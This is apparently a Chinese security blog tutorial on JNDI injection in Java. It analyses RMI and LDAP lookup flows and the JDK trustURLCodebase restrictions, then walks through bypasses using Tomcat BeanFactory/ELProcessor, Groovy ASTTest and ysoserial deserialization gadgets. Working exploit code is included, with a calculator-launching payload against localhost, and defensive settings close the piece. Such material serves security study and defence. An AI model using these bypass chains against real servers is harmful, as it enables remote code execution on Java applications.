高版本JDK下的JNDI注入浅析
字数 1571 2025-08-24 23:51:21
高版本JDK下的JNDI注入分析与绕过技术
1. JNDI注入基础概念
JNDI (Java Naming and Directory Interface) 是Java提供的用于访问命名和目录服务的API。攻击者可以利用JNDI的查找功能实现远程代码执行。
2. JNDI-RMI注入分析
2.1 基本流程
- RMI服务端代码:
Registry registry = LocateRegistry.createRegistry(4396);
Reference reference = new Reference("Test", "Test", "http://localhost/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("calc", referenceWrapper);
- 恶意类:
public class Test {
static {
try {
Runtime.getRuntime().exec("open -a Calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
}
}
- 客户端触发:
new InitialContext().lookup("rmi://127.0.0.1:4396/calc");
2.2 执行流程分析
- 客户端调用
InitialContext().lookup() - 通过
getURLOrDefaultInitCtx()初始化默认上下文 rmiURLContext#getRootURLContext()处理jndiname并进行特殊字符检测- 委托Stub去注册中心(Registry)寻找对象
NamingManager#getObjectInstance()获取FactorygetObjectFactoryFromReference()尝试从本地或远程加载类- 通过
URLClassLoader加载类并实例化
2.3 触发点位
以下方式写的恶意代码都会触发:
- 方法块: {}
- 静态代码块: static {}
- 无参构造方法
- getObjectInstance()
2.4 版本限制
JDK 6u141、7u131、8u121及以后版本默认将com.sun.jndi.rmi.object.trustURLCodebase设置为false,禁止从远程codebase加载类。
3. JNDI-LDAP注入分析
3.1 基本流程
- LDAP服务端:
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://127.0.0.1/#Test")));
- 客户端触发:
new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
3.2 版本限制
JDK 11.0.1、8u191、7u201、6u211后默认将com.sun.jndi.ldap.object.trustURLCodebase设置为false。
4. JNDI注入绕过技术
4.1 利用本地Class作为Reference Factory
4.1.1 Tomcat8绕过
原理:
利用Tomcat依赖中的org.apache.naming.factory.BeanFactory,该类满足:
- 实现
javax.naming.spi.ObjectFactory接口 - 包含
getObjectInstance()方法
利用代码:
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"open -a Calculator.app\")"));
依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.lucee</groupId>
<artifactId>javax.el</artifactId>
<version>3.0.0</version>
</dependency>
4.1.2 Groovy绕过
原理:
利用Groovy的AST转换功能,通过GroovyClassLoader#parseClass执行命令。
利用代码:
ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef x\n";
resourceRef.add(new StringRefAddr("x", String.format(script, "open -a Calculator.app")));
依赖:
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.5</version>
</dependency>
4.2 利用服务器反序列化Gadget
原理:
LDAP可以返回序列化数据,当javaSerializedData属性不为空时,客户端会对其进行反序列化。
实现步骤:
- 使用ysoserial生成恶意对象并base64编码:
java -jar ysoserial.jar CommonsCollections6 "open -a Calculator.app"|base64
- LDAP服务端设置
javaSerializedData属性:
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABF..."));
5. 工具推荐
- JNDIExploit - 提供多种JNDI注入利用方式
6. 防御措施
- 升级JDK到最新安全版本
- 设置系统属性限制JNDI访问:
com.sun.jndi.rmi.object.trustURLCodebase=falsecom.sun.jndi.cosnaming.object.trustURLCodebase=falsecom.sun.jndi.ldap.object.trustURLCodebase=false
- 避免使用不可信的JNDI查找